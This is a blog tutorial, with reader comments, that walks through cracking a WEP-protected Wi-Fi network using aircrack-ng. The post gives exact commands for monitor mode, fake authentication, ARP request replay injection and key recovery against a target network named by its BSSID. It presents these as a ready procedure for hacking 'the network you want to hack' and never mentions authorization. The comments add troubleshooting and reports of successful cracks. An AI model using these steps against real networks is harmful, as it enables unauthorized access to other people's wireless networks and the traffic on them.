Sunday, March 16, 2014

Speeding Up WEP Hacking : ARP request replay attack

Now if you have followed the basic WEP hacking tutorial, and optionally have also read the basic troubleshooting guide, then you are ready to proceed to the stage where you follow an intermediate level hacking tutorial. In this tutorial, we will look at the intricate details of what is happening and approach the complicated methods and concepts.




To start with, I'll address a common question which was asked on my previous posts.

i couldn't find any wlan when i write ifconfig in terminal








    1. Are you using Kali Linux on a virtual machine. Please note that a wireless adapter can only be used by only one machine at a time. Your host machine has access to the wireless adapter, not the virtual machine. This question has been discussed at length on superuser forums. The conclusion is that you can't directly connect internal wifi card using any Virtual machine software-
      "Unfortunately no virtualization software allows for direct access to hardware devices like that.

      Compare VirtualBox with VMware Fusion and Parallels for Mac. All 3 of those programs behave the same way. The only devices that can be directly accessed are usb devices. Everything else is abstracted though the virtualization engine. (Though you could argue that the vm has lower level access to cd rom's and storage devices).

      I wish I could give you a better answer, than simply to buy a usb wireless card."
      Basically you have to buy an external wireless card. They aren't very expensive. I personally use two of them myself. If you want to see what I use, take a look here, http://kalitutorials.net/2014/02/creating-dummy-wifi-for-hacking.html
So basically you have 2 choices. First, you can buy a new external wireless adapter (no referral links here). Secondly, you can side install Kali with Windows or run it via a USB. A virtual machine can only use computer hardware if it is externally connected via USB. Now there is another catch here. The internal adapters, almost all of them, don't support injection. This is extremely important for speeding up wireless hacking. So if you really want to go in depth of wireless hacking, then its time to buy an external adapter or two (the more the better). If that's not a possibility, you might want to spend hours trying to get a driver which might make your internal adapter support injection (I don't know anyone who succeeded in this, but it might be possible).

Kali Linux

I don't know why it needs mention here, but still, if you don't have Kali Linux (or Backtrack) installed yet, you will have to install it before you can start this tutorial. Here is the tutorial on Kali Linux hacking.

Check Injection Support


Aircrack-ng has a comprehensive article related to checking injection support. You might check their website out for it. I am just providing the commands which will be enough to find out whether injection is working or not. 
airmon-ng start wlan0  [or wlan1]
(Puts your wireless adapter in monitor mode. From now we'll refer to wlan0/wlan1 as mon0
airserv-ng -d mon0

 aireplay-ng -9 127.0.0.1:666
This basically sets up a temporary server sort of thing that is waiting for you to test your injection capabilities. The second command actually tries to inject the server, and succeeds. 127.0.0.1 is the IP which is reserved for loopback. It is always used when you are carrying out some command on yourself. 666 is the port we are using. Most of the time, what follows an IP and a colon is the port. The general form is somewhat like IP:port. So finally you have checked your injection capabilities, and the last line - "Injection is working!" should bring a smile to your face. If not, you'll have to buy a card which supports injection, or see some forum posts which will help you figure something out.

Check Signal Strength

While the basic hacking methods from the previous post don't have any real strength restriction, you need to be physically close to the access point in order to inject packets. There is information regarding the same in the same aircrack-ng tutorial. Again, I'm gonna summarize what you have to do here.
First, we will use airodump-ng mon0 to see the list of networks in range. See the one you want to hack.
Airodump-ng lists the networks in range.
Now we will hack the digisol network. Make a note of the BSSID of the network you want to hack.  A good practice is to store all the information gathered in any text editor. We should, at this stage, take a note of following:-

  • ESSID -  DIGISOL
  • BSSID - 00:17:7C:22:CB:80
  • CH (channel) - 2
  • Mac address of genuine users connected to the network:
  • Interface : wlan1 - referred to as mon0
You should gather the equivalent information for the network you will be working on. Then just change the values whenever I use them in any of the commands
Note : We need at least one user (wired or wireless) connected to the network and using it actively. The reason is that this tutorial depends on receiving at least one ARP request packet and if there are no active clients then there will never be any ARP request packets.

Now, to check whether the signal strength will be sufficient, we will simply execute the following code-
airodump-ng [interface] -c [channel]
airodump-ng mon0 -c 2
This will make the wireless card only read packets in the channel no. 2, on which our target network is.

Now to test the network, type the following code-
aireplay-ng --test -e DIGISOL -a 00:17:7C:22:CB:80 mon0 
 The last time we checked whether the wireless card had the capability to inject packets. We tested it on our own computer. This time, we actually injected packets into the target computer. If this worked, then it's pretty good news, and it means that you are most probably going to be able to hack this network. The last line 30/30 : 100% determines how good the strength of the signal is. A very high percentage is a good sign, and 100 is ideal.

Capture Packets

Now we have already run airodump-ng a couple of times. However, this time we will pass the -w command which will instruct airodump-ng to save the output to a file.
airodump-ng -c [channel] --bssid [bssid]-w [file_name] [interface]
airodump-ng -c 2 --bssid 00:17:7C:22:CB:80 -w dump mon0
 Now the output will be saved in a file  dump-01.cap
Now we can keep this terminal running and it will keep saving the packets.  [In the previous tutorial we did only 2 things, capture the packet, i.e this step, and crack it, i.e. the step we are going to do last. While it makes our work easier to just follow two steps, it also makes the process much more time consuming, since we are simply a passive packet listener, who is not doing anything]

Speeding Things Up

Fake Authentication

Now to speed things up, we will inject the network. We will thus obtain ARP packets. These packets will fill up the data column of our airodump-ng capture, and data is what will help us obtain the password. As soon as we have 10000 data packets, we can start attempting to get the password using aircrack-ng.
Now to make the AP pay attention to your injected packets, you either have to be a connected client, or have to pretend to be one. You can either mask your mac address to one of the already connected clients, or use the fake authentication feature. We will do the latter. (If you see an error like the AP is on channel x and mon0 is on channel y then go to the bottom of the post for troubleshooting)
aireplay-ng -1 0 -e DIGISOL -a  00:17:7C:22:CB:80 mon0
Authenticated and capturing packets

 ARP request replay mode

ARP packets are your best bet at getting a lot of IVs or data. Without IVs you can't hack a network. Enter the following code to make aireplay-ng listen to the AP for ARP packets, and inject them as soon as they find one. This will create a lot of data very fast. This is the real speeding step. 
aireplay-ng -3 -b [BSSID] mon0
This is what the final code will look like-
aireplay-ng -3 -b  00:17:7C:22:CB:80 mon0

This is what it'll look like in the beginning
 Now you'll have to wait for some time till it gets an ARP request. As soon as it gets one, the terminal will sort of explode. And the data packets will start filling in with Godspeed. Now this is the part where an active user on the network is absolutely necessary.
Slow start
Everything got fine after some time
After some time I had enough packets to crack almost any network
The data filled in VERY fast

The video shows how fast the IVs flowed in after ARP injection started.

Cracking the network

Cracking the network is as easy as typing the following into the console
aircrack-ng name_of_file-01.cap
In our case, the command will be
aircrack-ng dump-01.cap
 After pressing enter, you will have a list of networks and you'll be prompted to select which one of them to hack. In my case there was just one network, so I couldn't get that screen, or a screenshot. The password was cracked in less than a second.
I have blurred out the password and some random stuff.
So finally you have obtained the password of the network you were trying to hack.

Troubleshooting

A person commented on another wireless hacking post. This is the problem he faced.
whenever i try to use aireplay-ng, with the options, always fail saying that mon0 is in channel -1 and the target is in other channel. How can i fixed this? i looked a lot for a real answer but nobody know what is this.
This is a possible solution
Okay, try the following-
1) When you start the monitor mode, specify the channel - 
usage: airmon-ng [channel or frequency]
Your code : airmon-ng start wlan0 6
Substitute 6 with the required channel.
2) While starting airodump, specify the channel
airodump-ng mon0 -c 6

I was facing this problem when my mon0 kept hopping from one channel to the other, and the second step alone solved my problem. If your airmon-ng assigns itself a fixed channel on its own will, without you even specifying it, then the problem might be more complicated. If the above steps don't solve the problem, take a look here - http://ubuntuforums.org/showthread.php?t=1598930

25 comments:

  1. Great tutorial, thank you.

    I just had a question about the process of listening for ARP requests.
    I am able to run the command as you listed, however I only find 2 ARP requests and hundreds of thousands of ACKs.

    Any tips?

    Also, out of curiosity what parameter is the "-3" parameter for in:

    aireplay-ng -3 -b 00:17:7C:22:CB:80 mon0

    Thank you!

    ReplyDelete
  2. Take a look at the top search results-
    http://lmgtfy.com/?q=wireless+pentesting

    ReplyDelete
  3. Just add --ignore-negative-one to the end of your command. It should look like this-
    aireplay-ng -1 0 -e DIGISOL -a 00:17:7C:22:CB:80 mon0 --ignore-negative-one

    ReplyDelete
  4. When entering the command "aireplay-ng -9 127.0.0.1:666" I got this:

    root@kali:~# aireplay-ng -9 127.0.0.1:666
    22:18:36 Testing connection to injection device 127.0.0.1:666
    22:18:36 TCP connection successful
    22:18:36 airserv-ng found
    22:18:36 ping 127.0.0.1:666 (min/avg/max): 0.023ms/0.080ms/0.135ms

    Connecting to 127.0.0.1 port 666...
    Connection successful

    22:18:36 Trying broadcast probe requests...
    22:18:36 Injection is working!
    aireplay-ng: network.c:308: net_read: Assertion `l > 0' failed.
    Aborted

    And I tried again, getting this:

    root@kali:~# aireplay-ng -9 127.0.0.1:666
    22:19:39 Testing connection to injection device 127.0.0.1:666
    22:19:39 TCP connection successful
    22:19:39 airserv-ng found
    22:19:39 ping 127.0.0.1:666 (min/avg/max): 0.071ms/0.109ms/0.183ms

    Connecting to 127.0.0.1 port 666...
    Connection successful

    22:19:39 Trying broadcast probe requests...
    22:19:39 Injection is working!
    22:19:43 Found 4 APs

    22:19:43 Trying directed probe requests...
    22:19:43 B8:E6:25:49:E2:69 - channel: 6 - 'BELL102'
    22:19:44 Ping (min/avg/max): 0.938ms/34.012ms/39.368ms Power: -59.07
    22:19:44 30/30: 100%

    22:19:44 D8:FE:E3:23:B7:6A - channel: 6 - 'dlink-B76A'
    22:19:49 Ping (min/avg/max): 0.151ms/35.298ms/39.266ms Power: -78.19
    22:19:49 21/30: 70%

    22:19:49 00:18:39:DF:91:C1 - channel: 6 - 'Valhalla'
    22:19:51 Ping (min/avg/max): 0.354ms/34.749ms/69.838ms Power: -80.00
    22:19:51 28/30: 93%

    22:19:51 BC:14:01:31:26:19 - channel: 2 - ''
    22:19:52 Ping (min/avg/max): 1.521ms/31.788ms/39.455ms Power: -51.60
    22:19:52 30/30: 100%

    ReplyDelete
    Replies
    1. Your injection is working fine. You should move on to the next step. (Note ctrl+c will stop this process and then you can execute the next commands).

      Delete
  5. Hi,
    thank you for your tutorials.
    I'm trying to solve a problem I've encountered, once I enter airserv-ng -d mon0, I get:

    Opening card mon0
    Setting chan 1
    Opening sock port 666
    Serving mon0 chan 1 on port 666

    and it's ok, but when on another terminal I enter aireplay-ng -9 127.0.0.1:666, I get:

    14:32:51 Testing connection to injection device 127.0.0.1:666
    14:32:51 TCP connection successful
    14:32:52 airserv-ng NOT found
    connect: Connection refused
    Failed to connect

    and on the first terminal:

    Opening card mon0
    Setting chan 1
    Opening sock port 666
    Serving mon0 chan 1 on port 666
    Connect from 127.0.0.1
    airserv-ng: network.c:134: net_get: Assertion `plen <= *len && plen > 0' failed.

    Can you help me?
    Thank you and sorry for the bad english

    Andrea

    ReplyDelete
    Replies
    1. This is a bug of aircrack-ng rc1 I had to install Kali on hard drive, then update and then it worked fine.

      Delete
  6. Hi sir, thanks for this awesome post. I've learned alot but I'm little bit confused here. I'm trying to hhack my own network which is using WEP security, ive collected 2,06,000 data but when i try to crack it using aircrack-ng filename.cap.
    it shows "tested 178433 keys (got 8 IVs)
    FAILED. NEXT TRY WITH 5000 IVs.

    First time this showed when i had collected 10000 data till 200000 data. But it doesn't crack. What going on here its security is only WEP still this much time ?

    You showed that it only takes seconds to crack it.

    Please tell me if I'm doing something wrong ?

    http://postimg.org/image/xez3xphlz/

    ReplyDelete
    Replies
    1. When airodump-ng stores files it names them as filename-01.cap. If you dump again using the same name, it will be called filename-02.cap. Maybe the first time you ran airodump you captured only 8 data packets (data packets = Initialization vectors = IV). Then next time you captured 200000. So try changing 01 to 02 or 03 and see if it works.

      Delete
    2. Have you saw pic i uploaded on above link ? Do you think its working fine ?

      Delete
    3. Is there any physical location where these file saved so that i know which file should i access to crack ? Like filename_01 or filename_02

      Delete
  7. Thank you so much SHASHWAT. It works & it cracked the password within milliseconds.
    I will try more of hacking & practise more to learn more & more HOPE YOU WILL HELP ME IF I GOT STUCK SOMEWHERE 👍✌

    THANKS ONCE AGAIN

    ReplyDelete
  8. Hi, I have one question if you can help me. I can't speed-up collecting data, no matter what I do. aireplay-ng - 3 - b (bssid from network) mon0 but noting happened. I got message No source MAC (-h) specified. Using tje device MAC (bssid from network) 17:49:43 (time). Waiting for beacon frame (BSSID: bssid from network) on chanel 4. saving. ARP request in replay_arp-0327-174943.cap You should also start airodump-ng to capture replys.
    Read 111220 (number are climbing) packets (got 0 ARP request. and 0 ACKs) sent 0 packeta... (0 pps). Can you help me?

    ReplyDelete
    Replies
    1. I have the same problem anon... :/ very frustrating. Took me forever to get kali to either not screw up the networking drivers and now I'm stuck here I'm currently at 156,000 packets with 0 ARP or ACKs. Help please?

      Delete
  9. hi. i'm a new comer and just a minute ago have intalled kali. i just wanna to crack acces point admin. what it can do use the trick?

    ReplyDelete
  10. Nice tutorial.

    All the commands run successfully but I did not get a single ARP packet even after getting 30000 packets, should I continue?

    By the way what is the meaning of not getting a ARP packet.

    Thanks

    ReplyDelete
  11. When i do apr injection my other terminal stops sending becans and data

    ReplyDelete
  12. Great tut. I got through this and cracking in an hour, its funny I ended up with a few problems listed above, but had to read errors and see what was wrong and try harder. Thanks.

    ReplyDelete
  13. Hi,
    thank you for your tutorials.
    I'm trying to solve a problem I've encountered, once I enter airserv-ng -d mon0, I get:

    Opening card mon0
    Setting chan 1
    Opening sock port 666
    Serving mon0 chan 1 on port 666

    and it's ok, but when on another terminal I enter aireplay-ng -9 127.0.0.1:666, I get:

    14:32:51 Testing connection to injection device 127.0.0.1:666
    14:32:51 TCP connection successful
    14:32:52 airserv-ng NOT found
    connect: Connection refused
    Failed to connect

    and on the first terminal:

    Opening card mon0
    Setting chan 1
    Opening sock port 666
    Serving mon0 chan 1 on port 666
    Connect from 127.0.0.1
    airserv-ng: network.c:134: net_get: Assertion `plen <= *len && plen > 0' failed.

    Can you help me?
    Also,
    For this post, some anonymous user said that due to some bugs, then kali must install on harddrive...Currently i installed kali on my hard drive... Then why same problem occurs??? what is the reason??? or else my network adapter doesnt have the capablity of ARP Injection???

    ReplyDelete
  14. hi man. im very grateful for the stuff im learning here. i know this take you a lot of time to accomplish, just want to let you know you are helping people here even if sometimes some of us dont show some appreciation as it should be. i finally did my first ever crack thanks to this tutorial.

    ReplyDelete
  15. HI,
    Got the Key,
    but how do i convert it ?
    its in HEX 128bit format

    ReplyDelete
    Replies
    1. I haven't used aircrack recently, but the last time I checked the hex key you get is the actual key (just remove the colons).

      Delete
  16. Hi,
    After the".cap" file was generated, I tried to crack it with the "aircrack-ng" command, simply, without any parameters (just like in your example) and I get this message: "Please specify a dictionary (option -w)." What dictionary ? You did not mentioned any dictionary... Except this "little" problem, the rest was more than OK, thanks.

    ReplyDelete
    Replies
    1. You must be hacking a WPA network, not a WEP one.
      Please take a look here-
      http://www.kalitutorials.net/2016/08/things-you-should-know-wireless-hacking.html

      Delete
    2. Yeah, I'm sorry, my mistake. I was too deeply "sunken" in finding a way to test the injection capability of my new wifi card and I did not even read the title of this post. Of course I switched quickly to the before read post (http://www.kalitutorials.net/2014/04/hack-wpawpa2-wps-reaver-kali-linux.html) and as I remember from here the news are not very promising. Again, the dictionary is the best friend ? Or I misunderstood something (again) ?

      Delete

© Kali Tutorials, 2016. Unauthorized use and/or duplication of this material without express and written permission from this site’s author and/or owner is strictly prohibited. Excerpts and links may be used, provided that full and clear credit is given to Shashwat Chaudhary and Kali Tutorials with appropriate and specific direction to the original content.
Bitcoin: 1B5aLqJcMW7zznffTxQwta8JTZsxBDPguC